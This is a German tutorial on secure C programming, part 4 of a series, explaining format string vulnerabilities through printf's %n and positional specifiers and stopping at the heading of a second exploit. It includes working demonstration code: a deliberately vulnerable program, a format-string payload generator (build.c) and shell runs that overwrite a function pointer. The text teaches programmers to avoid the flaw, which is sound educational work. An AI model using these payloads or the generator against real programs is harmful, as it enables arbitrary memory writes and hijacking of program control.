Sichere Programmierung - Teil 4: format strings

ArticleCategory:

Software Development

AuthorImage:

[Foto der Autoren]

TranslationInfo:

Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier

fr to en:Frédéric Raynal

en to de:Tjabo Kloppenburg

en to de:Guido Socher

AboutTheAuthor:

Christophe Blaess ist ein unabh�ngiger Flugzeugingenieur. Er ist ein Linux-Fan, und erledigt den Gro�teil seiner Arbeit auf diesem System. Er koordiniert die �bersetzung der man-Pages des Linux Documentation Projects (LDP).

Christophe Grenier studiert im 5.Jahr am ESIEA, wo er auch als Sysadmin arbeitet. Er interessiert sich besonders f�r Computersicherheit.

Frédéric Raynal benutzt Linux seit vielen Jahren, weil es nicht verseucht ist mit Fetten, frei von k�nstlichen Hormonen und ohne BSE .... es enth�lt nur den Schwei� ehrlicher Leute und einige Tricks.

Abstract:

Seit einiger Zeit mehren sich die Meldungen �ber format strings-Exploits. Dieser Artikel beschreibt, wie es zu diesen Exploits kommt, und zeigt, wie schon die Einsparung von sechs getippten Zeichen die Sicherheit eines Programms unterminieren kann. Dieser Artikel d�rfte vor allem f�r C- und C++-Programmierer interessant sein, da vor allem in diesen Sprachen Format-Strings Verwendung finden.

ArticleIllustration:[illustration]

[article illustration]

ArticleBody:[The real article: put the text and html-codes here]

1. Worin besteht die Gefahr?

Die meisten Sicherheitsl�cken entstehen durch Konfigurationsfehler oder Faulheit. Wie wir sehen werden, best�tigt sich diese Regel bei Format-Strings aufs Neue.

In einem Programm besteht h�ufig die Notwendigkeit, eine Zeichenkette (string) irgendwohin zu schreiben. Das "Wohin" ist dabei erstmal nicht so wichtig. Eine einfache Anweisung reicht dazu aus:

printf("%s", str);

Ein (fauler) Programmierer k�nnte auf die Idee kommen, sechs Zeichen (und damit Zeit) zu sparen, und stattdessen zu schreiben:

printf(str);

Derartig "Effizienz" anstrebend baut dieser Programmierer eine potentielle Sicherheitsl�cke in sein Programm ein. Er ist gl�cklich damit, einen einzelnen String als Argument �bergeben zu k�nnen, der einfach unver�ndert angezeigt werden soll. Dieser String wird jedoch vor der Ausgabe geparst, wobei er auf Format-Direktiven wie %d, %g hin untersucht wird. Wird eine Direktive im String gefunden, dann wird das korrespondierende Argument vom Stack genommen.

Wir fangen mit einer Bescheibung der printf() Funktionen an. Eigentlich kennt sie jeder... jedoch nicht im Detail. Deshalb betrachten wir jetzt vor allem die weniger bekannten Aspekte, und sehen uns danach an, woher wir die n�tigen Informationen bekommen, um die angedeutete Sicherheitsl�cke auszunutzen. Zum Schluss fassen wir das alles zu einem runden Beispiel zusammen.

2. In den Tiefen der Format-Strings

In diesem Kapitel betrachten wir die Format-Strings genauer. Wir werden ihre Funktionsweise kurz zusammenfassen, und dann eine nahezu unbekannte Anweisung entdecken, der wir schlie�lich ihre Geheimnisse entlocken..

printf() : davon haben wir doch nichts gewusst!

Fangen wir mit dem an, was wir alle aus unseren Programmierhandb�chern wissen: die meisten C-Funktionen f�r Input/Output setzen eine Daten-Formatierung ein, was bedeutet, dass man nicht nur Daten zur Verf�gung stellt, sondern zus�tzlich festlegen muss, wie es zu tun ist. Das folgende Programm zeigt das:

/* display.c */
#include <stdio.h>

main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}

�bersetzen und Starten:

>>gcc display.c -o display
>>./display
int  : 64 97
char : @ a

Das erste printf() schreibt die Werte des Integers a und der char-Variablen a als int (unter Verwendung von %d), wobei a in Form seines ASCII-Wertes angezeigt wird. Genauso, nur andersrum, wird beim zweiten printf() die Integervariable i in ein Zeichen umgewandelt (ASCII 64).

Alles wie gehabt und gewohnt, und konform zu vielen Funktionen, die ein Prototyping wie printf() verwenden:

  1. ein Argument in der Form einer Zeichenkette (const char *format) wird als Format-Spezifikation verwendet;
  2. ein oder mehrere optionale Argumente - die Variablen, deren Werte gem�� der Format-Spezifikation formatiert werden.

Die meisten Programmier-Anleitungen enden hier, wobei sie noch eine meist nicht sehr umfassende Liste m�glicher Formatstrings angeben, wie %g, %h, %x, und vielleicht die Verwendung von ., um die Genauigkeit vorzugeben ("%5.2f"). Aber es gibt eine weitere Anweisung, �ber die nie gesprochen wird: %n. Hier die Info, die uns die Manpage zu printf() gibt:

Die Anzahl bis jetzt geschriebener Zeichen wird im angegebenen int *-Zeiger gespeichert. Kein Argument wird umgewandelt.

Und hieraus folgt die Kernaussage dieses Artikels: Dieses Argument macht es m�glich, einen Wert in eine Zeigervariable zu schreiben, selbst wenn %n in einer Ausgabe-Funktion verwendet wird!

Bevor wir weitermachen sei angemerkt, dass es diesen Formatierungs-Befehl auch bei den Funktionen der scanf() und syslog()-Familie gibt...

Showtime!

Wir betrachten nun die Verwendung und das Verhalten von %n anhand kleiner Programme. Das erste, printf1, zeigt eine sehr einfache Verwendung:

/* printf1.c */
1: #include <stdio.h>
2:
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }

Das erste Argument in printf() gibt den String "0123456789" aus, der 10 Zeichen enth�lt. Das n�chste, %n, schreibt diesen Wert, 10, in die Variable n:

>>gcc printf1.c -o printf1
>>./printf1
0123456789
n = 10

Wir �ndern nun das Programm ein wenig, indem wir Zeile 7 durch folgende neue Zeile ersetzen:

7:   printf("buf=%s%n\n", buf, &n);

Starten wir das ver�nderte Programm, dann best�tigt sich unsere Vorstellung: Die Variable n ist jetzt 14 (10 Zeichen des Strings in buf, plus die vier Zeichen "buf=" vorne im Formatstring).

Wir wissen jetzt, dass %n alle Zeichen z�hlt, die im Formatstring auftauchen. Wie wir gleich im printf2-Programm sehen werden, z�hlt es sogar noch weitere:

/* printf2.c */

#include <stdio.h>

main() {
  char buf[10];
  int n, x = 0;

  snprintf(buf, sizeof buf, "%.100d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}

Wir benutzen die snprintf()-Funktion, um einen Buffer-Overflow zu vermeiden. Die Variable n sollte jetzt den Wert 10 haben:

>>gcc printf2.c -o printf2
>>./printf2
l = 9
n = 100

Seltsam!? Das %n berechnet offensichtlich die Anzahl der Zeichen, die (eigentlich) geschrieben werden sollten. Das Beispiel zeigt, dass das Abschneiden eines Strings aufgrund einer Gr��enfestlegung unbeachtet bleibt.

Was wirklich geschieht? Der Format-String wird voll gef�llt, bevor er beschnitten und in den Zielpuffer kopiert wird:

/* printf3.c */

#include <stdio.h>

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}

Die Unterschiede zwischen printf3 und printf2 sind:

Wir erhalten folgende Ausgabe:

>>gcc printf3.c -o printf3
>>./printf3
l = 4
n = 5
buf = [0123] (5)

Die ersten beiden Zeilen �berraschen nicht weiter. Die letzte Zeile offenbart das Verhalten der printf()-Funktion:

  1. Der Format-String wird entsprechend den Anweisungen1 eingerichtet, wodurch der String "00000\0" ensteht;
  2. Die Variableninhalte werden wie vorgegeben geschrieben - in unserem Beispiel wird x in den String kopiert, der nun so aussieht: "01234\0";
  3. zuletzt werden sizeof buf - 1 Bytes2 dieses Strings in den Zielstring buf kopiert: "0123\0"


Das ist jetzt nicht v�llig exakt, entspricht jedoch im Gro�en und Ganzen dem Prozess. Wer sich f�r die genaueren Einzelheiten interessiert, sollte die Sourcen der GlibC studieren, und darin speziell die von vfprintf() im ${GLIBC_HOME}/stdio-common - Verzeichnis.

Bevor wir zum Ende dieses Kapitels kommen, sei noch darauf hingewiesen, dass das gleiche Ergebnis auf eine leicht abgewandelte Art h�tte erzielt werden k�nnen. In unserem Beispiel hatten wir die Formatanweisung f�r die Anzahl der Stellen eingesetzt (den Punkt '.'). Es gibt jedoch noch eine weitere Anweisung, die den gleichen Effekt erzeugt: 0n, wobei n die Breite ist, und die 0 daf�r sorgt, dass Leerzeichen im String durch "0" ersetzt werden sollen, wenn nicht die gesamte Stringbreite ausgenutzt wird.

Nachdem wir nun beinahe alles �ber Formatanweisungen wissen, und vor allem auch �ber "%n", werden wir das Verhalten der Anweisungen n�her unter die Lupe nehmen.

3. Der Stack und printf()

Ein Spaziergang durch den Stack

Das n�chste Programm wird uns durch dieses Kapitel begleiten, um uns die Zusammenh�nge zwischen printf() und dem Stack zu zeigen:

/* stack.c */
 1: #include <stdio.h>
 2:
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }

Dieses Programm kopiert lediglich ein Argument in den buffer. Wir achten darauf, dass kein Overflow stattfindet, also keine wichtigen Daten �berschrieben werden .

>>gcc stack.c -o stack
>>./stack toto
buffer : [toto] (4)
i = 1 (bffff674)

Das Programm funktioniert wie erwartet :). Um die weiteren Schritte zu verstehen, betrachten wir nun zuerst, was aus Sicht des Stacks passiert, wenn in Zeile 8 snprintf() aufgerufen wird.

Abb. 1 : Der Stack zu Beginn des Aufrufs von snprintf()
snprintf()

Abbildung 1 beschreibt den Zustand des Stacks in dem Moment, in dem das Programm in die snprintf()-Funktion eintritt (wir werden sehen, dass es nicht ganz korrekt ist - aber es vermittelt uns eine Idee davon, was passiert). Die Variablen i, buffer und tmp liegen in der Reihenfolge auf dem Stack, in der sie im Programm auftreten. Mit dem Eintreten in die snprintf()-Funktion landen danach die Funktions-Parameter auf dem Stack:

  1. die Adresse des Format/Datenstrings argv[1];
  2. die Zieladresse;
  3. die Anzahl der Zeichen, die kopiert werden sollen.

Der argv[1]-String wird gleichzeitig als Formatstring und als Datenquelle benutzt. Entsprechend der normalen Reihenfolge der Parameter der snprintf()-Funktion steht argv[1] also dort, wo normalerweise der Formatstring steht. Da auch Formatstrings ohne Formatanweisungen g�ltig sind (nur Text), ist alles in Ordnung :)

Aber was passiert, wenn in argv[1] Formatanweisungen stehen? Die snprintf()-Funktion interpretiert sie ganz normal - und es gibt keinen Grund, warum sie das nicht tun sollte. Nur k�nnte man sich hier fragen, welche Argumente als zu formatierende Daten genommen werden... Nun: snprintf() nimmt sich die Daten einfach vom Stack! Schauen wir uns das mit unserem stack-Programm an:

>>./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)

Zuerst wird der "123 "-String in den buffer kopiert. Das %x fordert snprintf() auf, den ersten �bergebenen Wert in die hexadezimale Schreibweise umzuwandeln. Gem�� Abbildung 1 ist dieser erste Wert nichts anderes als die tmp-Variable, die den String "\x01\x02\x03\x00" enth�lt. Diese Bytes werden also als Hexzahl "0x00030201" in den Buffer geschrieben. Die umgedrehte Reihenfolge ergibt sich aus der Tatsache, dass die x86-Prozessoren die Daten als Little Endian speichern.

>>./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)

Mit einem weiteren %x k�nnen wir weiter in den Stack hineingehen. snprintf() wird damit angewiesen, die n�chsten vier Bytes hinter der tmp-Variablen auszulesen. Diese vier Bytes sind die ersten vier Bytes von buffer ("123 "), die als 0x20333231 (0x20=space, 0x33='3'...) im Speicher liegen. Also, f�r jedes %x liest snprintf() weitere vier Bytes vom Stack in den buffer (vier, weil ein unsigned int in einem x86-System vier Bytes belegt).

Die buffer-Variable spielt also eine doppelte Rolle:

  1. Ziel der Schreiboperation;
  2. Input-Daten f�r die Formatanweisung.


Wir k�nnen solange weiter im Stack graben, wie buffer die erzeugten Zeichenketten aufnehmen kann:

>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 
         0x33303378 0x333837] (63)
i = 1 (bffff654)

Noch weiter (Even higher)

Mit der eben beschriebenen Methode k�nnten wir wichtige Informationen wie z.B. die R�cksprungadresse der Funktion, die buffer enth�lt, ermitteln. Die Adresse wurde vor den Parametern der Funktion auf den Stack gelegt, und liegt deshalb jenseits von tmp, buffer und i. Dabei besteht jedoch das Problem, dass der Platz in buffer begrenzt ist. Wir br�uchten eine Fortmatanweisung, um gezielt Stackinhalte jenseits von buffer auszulesen...

Die L�sung finden wir in der Formatanweisung m$, die dazu dient, die Ausgabe-Reihenfolge von Variablen �ber den Formatstring zu steuern. Dabei ist m ein Integer >0, der die Position der zu benutzenden Variablen in der Liste der Argumente angibt (beginnend mit 1). Mit dieser Anweisung kommen wir weiter:

/* explore.c */
#include <stdio.h>

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}

Die Formatanweisung %m$x gibt uns also die M�glichkeit, abw�rts zu einer beliebigen Stelle im Stack zu gehen. H�here m's bedeuten tiefere Stellen im Stack, da Parameter mit h�heren Positionen zuerst auf den Stack gelegt werden:

>>./explore %1\$x
[0] (1)
>>./explore %2\$x
[0] (1)
>>./explore %3\$x
[0] (1)
>>./explore %4\$x
[bffff698] (8)
>>./explore %5\$x
[1429cb] (6)
>>./explore %6\$x
[2] (1)
>>./explore %7\$x
[bffff6c4] (8)

Das \ ist hier notwendig, um das $ vor der Shell zu sch�tzen. Mit den ersten drei Aufrufen lesen wir den Inhalt von buf aus, das in diesem Programm nur noch 12 Bytes lang ist. Mit %4\$x lesen wir den Inhalt des gespeicherten %ebp-Registers, und mit %5\$x den Inhalt des gesicherten %eip-Registers (also der R�cksprungadresse). Die letzten beiden Aufrufe zeigen den Inhalt der argc-Variablen und der Adresse in *argv.

Dieses Beispiel zeigt uns, dass man mit den zur Verf�gung stehenden Format-Anweisungen den Stack auf der Suche nach interessanten Informationen durchsuchen kann, wie dem R�ckgabewert einer Funktion, einer Adresse, usw...
Wir haben aber auch gesehen, dass wir mit Funktionen der printf()-Familie Inhalte von Variablen ver�ndern k�nnen. Na, klingt das nicht wie ein wundersch�nes potentielles Sicherheitsloch?

Erste Schritte zum Erfolg

Betrachten wir noch einmal das stack-Programm:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [d�ÿ¿00000000000000000000000000000000000000000000
000000000000000] (63)
i = 500 (bffff664)
Der Parameter-String f�r stack besteht aus:
  1. der Adresse der Variablen i,
  2. einer Formatanweisung (%.496x),
  3. einer zweiten Formatanweisung (%n), die an die angegebene Adresse schreiben wird.
Um die Adresse von i (hier 0xbffff664) zu ermitteln, k�nnen wie das Programm zweimal starten, und beim zweiten Mal die Kommandozeile entsprechend anpassen. Wie du beim Aufruf sehen kannst, hat i einen neuen Wert! :).
Durch den �bergebenen Formatstring und den Stackzustand ergibt sich f�r snprintf() folgender Aufruf:
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         die 4 ersten Bytes in buffer);

Die ersten vier Bytes (mit der Adresse von i) werden an den Anfang von buffer geschrieben. Die folgende Anweisung %.496x liest tmp vom Stack und schreibt damit weitere 60 Zeichen in den buffer (sizeof buffer = 64, 4 Bytes schon geschrieben).
Wenn der Format-Interpreter bei "%n" ankommt, schreibt er die Zahl bereits geschriebener Zeichen (496 eigentlich geschriebener Zeichen plus der vier Bytes der Adresse von i) in die als n�chstes auf dem Stack folgende Adresse. Da kein Zeiger auf einen String als Parameter an snprintf() �bergeben wurde, werden daf�r die n�chsten 4 Bytes vom Stack genommen: die ersten 4 Bytes von buffer - mit der Adresse von i!
Die Zahl 496 ist dabei relativ beliebig - es ist der Wert, der nach i geschrieben werden soll, minus 4.

Wir k�nnen das Ganze noch weiter treiben. Um i �ndern zu k�nnen, brauchen wir ja seine Adresse, die nicht unbedingt bekannt ist... manchmal jedoch liefert uns ein Programm selbst die richtige Adresse:

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Bei diesem Programm k�nnen wir den Stack (beinahe) beliebig kontrollieren:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

"swap AAAA%1\$n" bedeutet bei diesem Programm in Worten: "Gib AAAA aus, und schreibe dann die Anzahl geschriebener Zeichen an die Adresse, die an der Stelle 1 auf dem Stack liegt.". Wir k�nnen hier also abh�ngig vom Parameter gezielt den Wert von cpt1 oder cpt2 �ndern.
Da %n eine Adresse ben�tigt, k�nnen wir nicht direkt in die Variablen schreiben [also %3$n (cpt2) oder %4$n (cpt1)], sondern m�ssen die Zeiger benutzen. Letztere sind in C �blich - und bieten wirklich vielf�ltige Manipulations-M�glichkeiten.

Variationen eines Themas

Die bislang gezeigten Beispiele treffen auf ein Programm zu, das mit egcs-2.91.66 und glibc-2.1.3-22 kompiliert wurde. M�glicherweise erh�ltst du auf deinem System nicht die gleichen Resulate, weil die Funktionen in der Art von *printf() von der glibc abh�ngen, und nicht von allen Compilern gleich compiliert werden.

Das Programm stuff zeigt diese Unterschiede auf:

/* stuff.c */
#include <stdio.h>

main(int argc, char **argv) {

  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc < 2) {
    printf("Usage : %s <format>\n",argv[0]);
    exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}

Die Arrays aaa und bbb dienen uns auf unserer Reise durch den Stack als Trennmarke. Wenn wir auf 424242 treffen wissen wir also, dass die n�chsten Bytes zum buffer geh�ren.
Tabelle 1 zeigt die Unterschiede abh�ngig von der Version der glibc und der Compiler.

Tabelle 1 : Unterschiede durch die glibc
Compiler
glibc
Ausgabe
gcc-2.95.3 2.1.3-16 buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63)
egcs-2.91.66 2.1.3-22 buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63)
gcc-2.96 2.1.92-14 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)
gcc-2.96 2.2-12 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)

Wir werden im Artikel weiterhin egcs-2.91.66 und die glibc-2.1.3-22 einsetzen - wenn du auf deinem System Unterschiede feststellst, sollte dich das jetzt nicht mehr �berraschen.

Exploit eines Format-Bugs

Beim Exploiten von buffer overflows hatten wir einen buffer benutzt, um die R�cksprungadresse einer Funktion zu �berschreiben.

Wie wir gesehen haben, k�nnen wir mit Formtstrings an eine beliebige Stelle gehen (stack, heap, bss, .dtors, ...) - wir m�ssen nur sagen, wohin wir was mit Hilfe von %n schreiben wollen.

Das angreifbare Programm

Man kann einen Format-Bug auf verschiedene Art und Weise exploiten. P. Bouchareine's Artikel (Format string vulnerability) zeigt, wie man die R�cksprungadresse einer Funktion �berschreiben kann, deshalb zeigen wir einen anderen Weg.
/* vuln.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);

  return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  for(i=0;i<argc;i++)
    printf("%d %p\n",i,argv[i]);

  exit(vuln(argv[1]));
}

int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}

Wir definieren eine Variable mit dem Namen ptrf, die ein Zeiger auf eine Funktion ist. Wir werden den Wert dieses Zeigers so ver�ndern, dass eine Funktion unserer Wahl gestartet wird.

Beispiel 1

Zuerst m�ssen wir den Offset zwischen dem Anfang des verwundbaren Buffers und unserer aktuellen Position auf dem Stack ermitteln:

>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"

>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"

Der erste Aufruf gibt uns das, was wir brauchen: 3 Worte (1 Wort = 4 Bytes bei x86 CPU) trennen uns vom Anfang der buffer-Variablen. Der zweite Aufruf mit "AAAA%3\$x" best�tigt das.

Unser Ziel besteht nun darin, den urspr�nglichen Wert des Zeigers ptrf (0x8048634, der Adresse der Funktion helloWorld()) durch den Wert 0x8048654 (Addresse von accessForbidden()) zu ersetzen.
Dazu m�ssen wir 0x8048654 Bytes schreiben (dezimal 134514260, also ca. 128MB). Nicht alle Rechner verf�gen �ber den notwendigen Speicher - aber unserer tuts :-). Auf einem Dual-Pentium mit 350MHz dauert es etwa 20 Sekunden:

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Ôõÿ¿00000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"

Was haben wir gemacht? Wir haben nur die Adresse von ptrf (0xbffff5d4) �bergeben. Die folgende Formatanweisung (%.134514256x) liest das erste Wort vom Stack, mit einer "Genauigkeit" von 134514256. Wir haben schon die 4 Bytes der Adresse von ptrf geschrieben, m�ssen also noch 134514260-4=134514256 Bytes schreiben. Zum Schluss schreiben wir den gew�nschten Wert an die angegebene Adresse (%3$n).

Speicherprobleme: teile und herrsche

Wie bereits angedeutet stehen nicht immer 128MB f�r den buffer zur Verf�gung. Die Formatanweisung %n erwartet einen Zeiger auf einen Integer, also vier Bytes. Man kann es jedoch so modifizieren, dass es einen Zeiger auf einen short int erwartet - das sind dann nur 2 Bytes - in dem man %hn schreibt. Das hei�t, wir k�nnen das Schreiben des Integers in zwei Zahlen aufspalten. Die gr��te zu schreibende Zahl ist dabei 0xffff (65535). Bezogen auf das vorhergehende Beispiel wandeln wir also die Operation "schreibe 0x8048654 an die Adresse 0xbffff5d4" um in zwei aufeinanderfolgende, kleinere Operationen:

Die zweite Schreibaktion findet in den High Bytes des Integers statt, was die Vertauschung der zwei Bytes erkl�rt.

%n (oder %hn) berechnen die Zahl der bereits in den String geschriebenen Zeichen. Diese Zahl kann sich dadurch nur erh�hen, wir m�ssen also zuerst den kleineren Wert schreiben. Die zweite Anweisung bekommt dann als "Genauigkeit" die Differenz zwischen dem gebrauchten Wert und dem ersten Wert. In unserem Beispiel ist die erste Anweisung %.2052x (2052 = 0x0804), und die zweite %.32336x (32336 = 0x8654 - 0x0804). Jedes folgende %hn wird die richtige Anzahl Bytes aufnehmen.

Wir m�ssen nur angeben wohin beide %hn geschrieben werden sollen. Der m$ Operator wird uns dabei helfen. Wenn wir die Adresse am Anfang des verletzbaren Buffers speichern, dann m�ssen wir nur duch den Stack gehen und den Offset zum Anfang des Stacks finden mit Hilfe des m$ Formates. Beide Adressen werden dann bei einem Offset von m und m+1 sein. Da wir die ersten 8 Bytes im Buffer f�r die zu �berschreibende Adresse benutzen, mu� der erste Wert um 8 erniedrigt werden.

So sieht unser Format-String aus:

"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max - val. min.]x%[offset+1]$hn"

Das folgende build-Programm erzeugt einen Format-String abh�ngig von den drei Argumenten:

  1. die zu �berscheibende Adresse,
  2. der dorthin zu schreibende Wert,
  3. der Offset (in WORDs) zum Anfang des angreifbaren buffers.
/* build.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
The 4 bytes where we have to write are placed that way : HH HH LL LL

The variables ending with "*h" refer to the high part of the word (H)
The variables ending with "*l" refer to the low part of the word (L)
 */
char* build(unsigned int addr, 
            unsigned int value, unsigned int where) {

/* too lazy to evaluate the true length ... */
  unsigned int length = 128; 
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;

  char *buf;

  /* detailing the value */
  valh = (value >> 16) & 0xffff; //top
  vall = value & 0xffff;         //bottom

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* buffer allocation */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);

  /* let's build */
  if (valh < vall) {

    snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */
         "%%%d$hn"            /* the %hn for the high part */

         "%%.%hdx"            /* set the value for the second %hn */
         "%%%d$hn"            /* the %hn for the low part */         
         ,
         b3+2, b2, b1, b0,    /* high address */
         b3, b2, b1, b0,      /* low address */

         valh-8,              /* set the value for the first %hn */  
         where,               /* the %hn for the high part */        
                                                         
         vall-valh,           /* set the value for the second %hn */ 
         where+1              /* the %hn for the low part */
         );
         
  } else {

     snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */    
         "%%%d$hn"            /* the %hn for the high part */          
                                                           
         "%%.%hdx"            /* set the value for the second %hn */   
         "%%%d$hn"            /* the %hn for the low part */           
         ,                                                     
         b3+2, b2, b1, b0,    /* high address */                       
         b3, b2, b1, b0,      /* low address */                        
                                                           
         vall-8,              /* set the value for the first %hn */    
         where+1,             /* the %hn for the high part */          

         valh-vall,           /* set the value for the second %hn */   
         where                /* the %hn for the low part */
         );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
          strtoul(argv[2], NULL, 16),  /* valeur */
          atoi(argv[3]));              /* offset */
  
  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}

Abh�ngig davon, ob der erste geschriebene Wert der High- oder Low-Teil des WORD ist, �ndert sich die Position der Argumente. Schauen wir mal, welche L�sung (ohne RAM-Probleme :-) ) das Programm ausspuckt.

Unser kleines Beispielprogramm von vorhin erlaubt es uns, den Offset zu ermitteln:

>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"

Es ist immer: 3. Da unser Programm konstruiert wurde, um zu erkl�ren, was passiert, verf�gen wir bereits �ber die weiteren Informationen, die wir brauchen: die Adressen von ptrf und accesForbidden(). Wir legen unseren Buffer entsprechend an:

>>./vuln `./build 0xbffff5d4 0x8048664 3` 
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[�õÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [�õÿ¿Ôõÿ¿00000000000000000000d000
000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"
Es passiert nichts! Nun, da wir einen l�ngeren buffer verwendet haben als im vorherigen Beispiel, hat sich der Stack verschoben(ptrf ist von 0xbffff5d4 nach 0xbffff5b4 gewandert). Unsere Werte m�ssen entsprechend angepasst werden:
>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [¶õÿ¿´õÿ¿000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

Gewonnen!!!

Ein anderer Exploit

